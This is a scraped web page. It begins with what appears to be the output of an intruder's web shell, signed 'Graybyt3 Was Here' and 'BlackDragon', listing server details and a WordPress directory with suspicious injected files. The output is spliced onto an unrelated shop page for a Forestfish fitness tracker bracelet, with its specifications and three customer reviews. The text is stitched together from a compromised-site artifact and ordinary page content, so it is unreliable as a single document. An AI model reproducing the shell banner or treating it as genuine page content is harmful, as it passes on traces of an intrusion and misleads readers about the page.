Graybyt3 Was Here

 Linux rebec 6.1.64 #1-NixOS SMP PREEMPT_DYNAMIC Tue Nov 28 17:07:23 UTC 2023 x86_64
 Apache/2.4.58 (Unix)
 127.0.0.1

*ReClick For Close
File : BlackDragon /index.php
Name Type Size Owner/Group Permission Last Modified Actions
. dir - 1042/54 0755 2024-03-28 03:28:07
.well-known dir - 1042/54 0755 2021-09-28 03:24:00
5abc3 dir - 1042/54 0755 2024-03-26 12:40:46
doc dir - 1042/54 0755 2024-03-26 12:40:47
wp-admin dir - 1042/54 0755 2024-03-26 12:40:47
wp-content dir - 1042/54 0755 2024-03-28 08:38:00
wp-include dir - 1042/54 0755 2024-03-28 03:31:13
wp-includes dir - 1042/54 0755 2024-03-26 12:40:47
.htaccess text/plain 614 B 1042/54 0555 2021-12-31 03:28:07
Alyce text/plain 2.58 KB 1042/54 0644 2024-03-22 11:10:49
Linnie text/plain 389 B 1042/54 0644 2024-03-24 07:27:01
Ophelia text/plain 483 B 1042/54 0644 2024-03-25 10:01:48
Philip Braddockr text/plain 851 B 1042/54 0644 2024-03-27 11:42:23
ProdvigenieST text/plain 3.05 KB 1042/54 0644 2024-03-23 12:17:19
Robertvag text/plain 688 B 1042/54 0644 2024-03-23 04:50:32
Yanira text/plain 580 B 1042/54 0644 2024-03-23 07:55:56
admin.php text/x-php 18.79 KB 1042/54 0444 2022-02-02 12:40:47
defaults.php text/x-php 145.9 KB 1042/54 0444 2022-03-06 12:40:47
hsduih.php text/x-php 306 B 1042/54 0644 2024-03-25 05:43:47
index.php text/x-php 13.78 KB 1042/54 0444 2021-09-30 12:40:47
index.php0 text/x-php 3.78 KB 1042/54 0644 2022-01-13 12:40:46
install.php text/x-php 70.4 KB 1042/54 0444 2022-04-24 12:40:47
license.txt text/plain 19.45 KB 1042/54 0644 2023-11-28 02:22:04
php.ini text/plain 78 B 1042/54 0644 2024-03-20 11:39:04
randkeyword.php text/x-php 11.67 KB 1042/54 0644 2024-03-28 06:16:34
readme.html text/html 7.23 KB 1042/54 0644 2024-01-31 06:10:44
robots.txt text/plain 494 B 1042/54 0444 2021-09-16 12:40:47
ronaldEreby text/plain 1.04 KB 1042/54 0644 2024-03-26 10:20:03
shop.php text/x-php 9.97 KB 1042/54 0444 2022-08-19 12:40:47
wp-activate.php text/x-php 7.04 KB 1042/54 0644 2023-11-28 02:22:04
wp-blog-header.php text/x-php 351 B 1042/54 0644 2021-07-05 08:40:59
wp-comments-post.php text/x-php 2.27 KB 1042/54 0644 2023-11-28 02:22:04
wp-config-sample.php text/x-php 2.94 KB 1042/54 0644 2023-04-24 09:35:41
wp-config.php text/x-php 3.83 KB 1042/54 0400 2022-04-13 08:17:51
wp-cron.php text/x-php 5.51 KB 1042/54 0644 2023-11-28 02:22:04
wp-links-opml.php text/x-php 2.44 KB 1042/54 0644 2023-04-24 09:35:41
wp-load.php text/x-php 3.83 KB 1042/54 0644 2023-11-28 02:22:04
wp-login.php text/x-php 49.73 KB 1042/54 0644 2024-01-31 06:10:44
wp-mail.php text/x-php 8.33 KB 1042/54 0644 2023-11-28 02:22:04
wp-settings.php text/x-php 25.79 KB 1042/54 0644 2023-11-28 02:22:04
wp-signup.php text/x-php 33.58 KB 1042/54 0644 2023-11-28 02:22:03
wp-trackback.php text/x-php 4.77 KB 1042/54 0644 2023-11-28 02:22:03
xmlrpc.php text/x-php 3.08 KB 1042/54 0644 2023-11-28 02:22:03
zpanel-v2.0.zip text/plain 19.47 KB 1042/54 0444 2022-05-13 12:40:47
zvc-tabs6.zip text/plain 26.98 KB 1042/54 0444 2022-06-09 12:40:47
© BlackDragon
Forestfish(TM) Bluetooth Sync Smart Bracelet Sports Fitness Tracker Smart Wristband Water Resistant Tracker Bracelet Sleep Monitoring Anti-lost Smart Watch – Fitness Technologies

Forestfish(TM) Bluetooth Sync Smart Bracelet Sports Fitness Tracker Smart Wristband Water Resistant Tracker Bracelet Sleep Monitoring Anti-lost Smart Watch

Specification:
Size: 2.3*0.7*0.5inch (L*W*H)
BT version: BLE 4.0
Display: 0.84′ OLED 96*16
Charging: Built-in 5V USB slot
Battery: 65mAh Li-on battery
Standby time: 10-12 days

Compatible with:
IOS 7.0: iPhone 4/ 4S/ 5/ 5S;
IOS 8.0: iPhone 6/ 6 Plus;
Samsung S3, S4/4G, Note2, Note3, Note4;
HTC one and most Android 4.3 or above smartphones.
Note: 1.Please download the APK on the box before using the product.
2.The charging slot is on the device, please take off the bracelet when charging.
3.Please press the button for 4 seconds to open the match mode, input the code on your cellphone to connect BT.
4.The sync will cost 5 minutes and data is not correct for the first usage, please be patient.

Main Function:
1.BT connection
2.Track activity
3.Sleep monitoring
4.Time sync
5.Milestone share
6.Remote camera, remote video
7.Find your cellphone, anti-lost
8.Incoming call reminding (one time) / message vibration (Android only)

Package Includes:
1*Smart Bluetooth bracelet; 1*User manual.

$ 25.28

Customer Reviews


3 of 3 people found the following review helpful
4.0 out of 5 stars
Would like regular time, March 8, 2015
Verified Purchase(What’s this?)
This review is from: Forestfish(TM) Bluetooth Sync Smart Bracelet Sports Fitness Tracker Smart Wristband Water Resistant Tracker Bracelet Sleep Monitoring Anti-lost Smart Watch (Misc.)
24 hour clock. Would like regular time. Everything else is great

0

Help other customers find the most helpful reviews 

Was this review helpful to you? Yes
No


2 of 2 people found the following review helpful
1.0 out of 5 stars
No this bracelet does not function easily, in fact I have not been able to …, March 24, 2015
Verified Purchase(What’s this?)
This review is from: Forestfish(TM) Bluetooth Sync Smart Bracelet Sports Fitness Tracker Smart Wristband Water Resistant Tracker Bracelet Sleep Monitoring Anti-lost Smart Watch (Misc.)
No this bracelet does not function easily, in fact I have not been able to use it yet. It starts counting steps for no apparent reason, then it is difficult to clear. I would return this item if I could but I am currently in Mexico and the transaction would be difficult at best. I do not recommend this item, spend a little more money and get something that is more user friendly.

0

Help other customers find the most helpful reviews 

Was this review helpful to you? Yes
No


3 of 4 people found the following review helpful
1.0 out of 5 stars
What a terrible product, it doesn’t count the steps properly or …, March 6, 2015
Verified Purchase(What’s this?)
This review is from: Forestfish(TM) Bluetooth Sync Smart Bracelet Sports Fitness Tracker Smart Wristband Water Resistant Tracker Bracelet Sleep Monitoring Anti-lost Smart Watch (Misc.)
What a terrible product, it doesn’t count the steps properly or count on my phone. You could move your hands back and forth like your running while seated and it counts. Do not waste your money.

0

Help other customers find the most helpful reviews 

Was this review helpful to you? Yes
No

Share your thoughts with other customers:

 See all 5 customer reviews…



Fitness Technologies
Logo
Compare items
  • Total (0)
Compare
0
Shopping cart